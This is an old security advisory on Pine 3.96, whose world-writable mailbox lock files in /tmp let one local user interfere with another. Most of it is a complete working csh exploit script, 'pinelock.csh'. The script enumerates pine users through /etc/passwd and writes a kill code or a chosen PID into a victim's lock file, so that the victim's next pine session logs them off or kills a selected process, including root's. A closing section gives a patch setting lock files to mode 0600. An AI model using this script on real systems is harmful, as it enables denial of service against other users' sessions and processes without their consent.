COMMAND

    pine

SYSTEMS AFFECTED

    Pine 3.96

PROBLEM

    Roger  Harrison  posted  following  pinelock.csh exploit.  Exploit
    below allows you to log off a user or kill one of their  processes
    IF they  open up  a second  session of  pine.   It isn't  terribly
    useful, except  for annoying  a user.   However, if  root opens up
    two sessions of pine, it's  easy to think out of  some interesting
    processes  and  daemons  which  might  be  killed.  Copies of this
    program will be stored at http://kepler.poly.edu/~rharri01/.

    #!/bin/csh -f
    #pinelock.csh
    #Written 12/97 by Iconoclast -> iconoclast@thepentagon.com
    #This program can exploit the vulnerabilities of pine lock files in version 3.96
    #which are mode 666 to log a person off or kill one of their processes if a second
    #instance of pine is started.  It only works if they open a second session of pine.
    #It could be useful if root likes to open up two sessions of pine...
    #The kill occurs in the files bezerk.c and mmdf.c as seen in the code fragment from
    #pine below:
    #
    #                            /* can get the lock? */
    #else if (flock (fd,LOCK_EX|LOCK_NB)) {
    #  if (retry-- == KODRETRY) {/* no, first time through? */
    #                            /* yes, get other process' PID */
    #    if (!fstat (fd,&sbuf) && (i = min (sbuf.st_size,MAILTMPLEN)) &&
    #        (read (fd,tmp,i) == i) && !(tmp[i) = 0) && (i = atol (tmp))) {
    #      kill ((int) i,SIGUSR2);
    #      sprintf (tmp,"Trying to get mailbox lock from process %ld",i);
    #      mm_log (tmp,WARN);
    #    }
    #    else retry = 0;         /* give up */
    # }
    # close (fd);                /* get a new handle next time around */

    #Notes on files created
    #/tmp/aa                                  temp list of lock files
    #/tmp/bb                                  user id's
    #/tmp/cc                                  /etc/passwd entry
    #/tmp/dd                                  pine lock file names
    #/tmp/ee                                  pids within lock files
    #/tmp/ff                                  user names
    #/tmp/gg                                  count of users running pine
    #/tmp/hh                                  final parsed output
    #/tmp/jj                                  processes
    #/tmp/kk                                  parsed processes
    #/tmp/ll                                  temp storage for pid and garbage
    #/tmp/mm                                  actual pid we want to kill
    #/tmp/nn                                  parsed numbers and processes
    #/tmp/oo                                  list of just pids

    clear
    ls -la /tmp|egrep 'rw-rw-rw-.*\.[0-9a-f]+\.[0-9a-f]+$' > /tmp/aa #list of lock files in /tmp
    awk '{print $3}' /tmp/aa > /tmp/bb        #get user name of each file
    awk '{print $9}' /tmp/aa > /tmp/dd        #get list of names of lock files
    touch /tmp/cc /tmp/ee /tmp/gg             #create files so we don't run into trouble #in the foreach loop when we do ">>"

    foreach i ( `cat /tmp/bb` )
    grep $i /etc/passwd >> /tmp/cc            #search /etc/passwd for user name
    end

    awk -F: '{print $5}' /tmp/cc > /tmp/ff    #get person's name from user name

    set k=1
    foreach i( `cat /tmp/dd` )                #go through lock file names
    echo $k >> /tmp/gg                        #generate sequential numbers
    set k = `expr $k + 1`                     #increment count by 1
    cat /tmp/$i >> /tmp/ee                    #get pid within each lock file
    echo "" >> /tmp/ee                        #new line
    end

    paste -d " " /tmp/gg /tmp/dd /tmp/ee /tmp/bb /tmp/ff>/tmp/hh

    echo "The following users are running pine:"
    echo ""
    echo "#"  lock file  pid "   " uid "     " user name
    echo "--------------------------------------------------"
    cat /tmp/hh                               #this is the parsed data
    echo ""
    echo "Pick from the choices below."
    echo "1) Try to log them off"
    echo "2) Try to kill a process"
    echo "3) Exit"
    echo -n "Choice:"
    set input = $<

    if ("$input" == "3") then
    cd /tmp
    rm -f aa bb cc dd ee ff gg hh
    exit
    endif

    if ("$input" == "1"||"$input" == "2") then
    echo -n "Pick a number you'd like to try:"
    set number = $<
    set k=0
    foreach i (`cat /tmp/dd`)
    set k = `expr $k + 1`
    if ("$k" == "$number") then
    set filename = $i
    goto label
    endif
    end
    endif

    label:
    if("$input" == "1") then
    echo 99999999999999999999999999999999 >! /tmp/$i  #32 9's in lock file
    echo "Kill code has been inserted\!"
    endif

    if ("$input" == "2") then
    echo '' >! /tmp/$i                        #remove old pid
    echo "Below are the processes the person is running:"

    ls -la /tmp/$i > /tmp/ll
    awk '{print $3}' /tmp/ll > /tmp/mm        #/tmp/mm has uid
    set uid = `cat /tmp/mm`

    /bin/ps -ef|grep $uid > /tmp/jj

    #number generator and paste.
    awk '{print $1}' /tmp/jj > /tmp/kk        #amount of processes
    set k=1
    rm -f /tmp/gg
    touch /tmp/gg
    foreach i( `cat /tmp/kk` )
    echo $k >> /tmp/gg                        #generate sequential numbers
    set k = `expr $k + 1`                     #increment count by 1
    end

    paste -d " " /tmp/gg /tmp/jj > /tmp/nn
    cat /tmp/nn
    echo -n "Pick a process:"                    #choose process we want to kill
    set number2 = $<
    awk '{print $3}' /tmp/nn > /tmp/oo        #put pids into a file

    set k=0
    foreach i( `cat /tmp/oo` )                #find pid we want
    set k = `expr $k + 1`
    if ("$k" == "$number2") then
    goto label2
    endif
    end

    label2:
    echo $i >! /tmp/$filename                 #put pid into lockfile
    echo "Kill code has been inserted\!"
    endif

    cd /tmp
    rm -f aa bb cc dd ee ff gg hh jj kk ll mm nn oo #clean up files
    cd                                        #put you back in home dir

SOLUTION

    Upgrade your pine to  3.97.  Not sure  if this is the  right thing
    to do, or if it will  cause problems with other parts of  pine but
    there is a quick fix.

        bash# diff env_unix.c~ env_unix.c
        49c49
        < static long lock_protection = 0666;
        ---
        > static long lock_protection = 0600;

    This file can be found  in imap/c-client under the source  tree of
    pine-3.96 and leaves the lock file mode 600:

        -rw-------   1 jbourne   users           4 Dec  6 11:16 .2.21200505